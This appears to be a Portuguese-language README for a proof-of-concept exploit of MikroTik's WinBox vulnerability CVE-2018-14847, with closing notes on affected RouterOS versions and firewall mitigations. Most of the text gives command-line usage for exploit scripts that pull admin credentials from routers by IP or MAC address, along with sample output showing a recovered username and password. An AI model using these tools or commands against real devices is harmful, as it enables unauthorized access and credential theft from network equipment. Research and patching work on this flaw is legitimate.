
Prova de Conceito da Vulnerabilidade Crítica do Winbox (CVE-2018-14847)
Este é uma prova de conceito da vulnerabilidade crítica do WinBox (CVE-2018-14847) que permite a leitura arbitrária de arquivos com senhas em texto puro.
Este script NÃO será executado com Python 2.x ou inferior.
O script é simples de usar, com argumentos simples na linha de comando.
Explore a vulnerabilidade e leia a senha.
python3 WinboxExploit.py <IP-ADDRESS> [PORT]
Exemplo:
$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord
Você pode extrair arquivos mesmo que o dispositivo não tenha um endereço IP.
Verificação simples de descoberta para dispositivos Mikrotik conectados localmente.
python3 MACServerDiscover.py
Exemplo:
$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)
aa:bb:cc:dd:ee:ff
aa:bb:cc:dd:ee:aa
Explore a vulnerabilidade e leia a senha.
python3 MACServerExploit.py <MAC-ADDRESS>
Exemplo:
$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff
User: admin
Pass: Th3P4ssWord
Todas as versões do RouterOS de 2015-05-28 a 2018-04-20 são vulneráveis a este exploit.
Dispositivos Mikrotik executando as versões do RouterOS:
Para mais informações, consulte: https://blog.mikrotik.com/security/winbox-vulnerability.html
/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop
/tool mac-server mac-winbox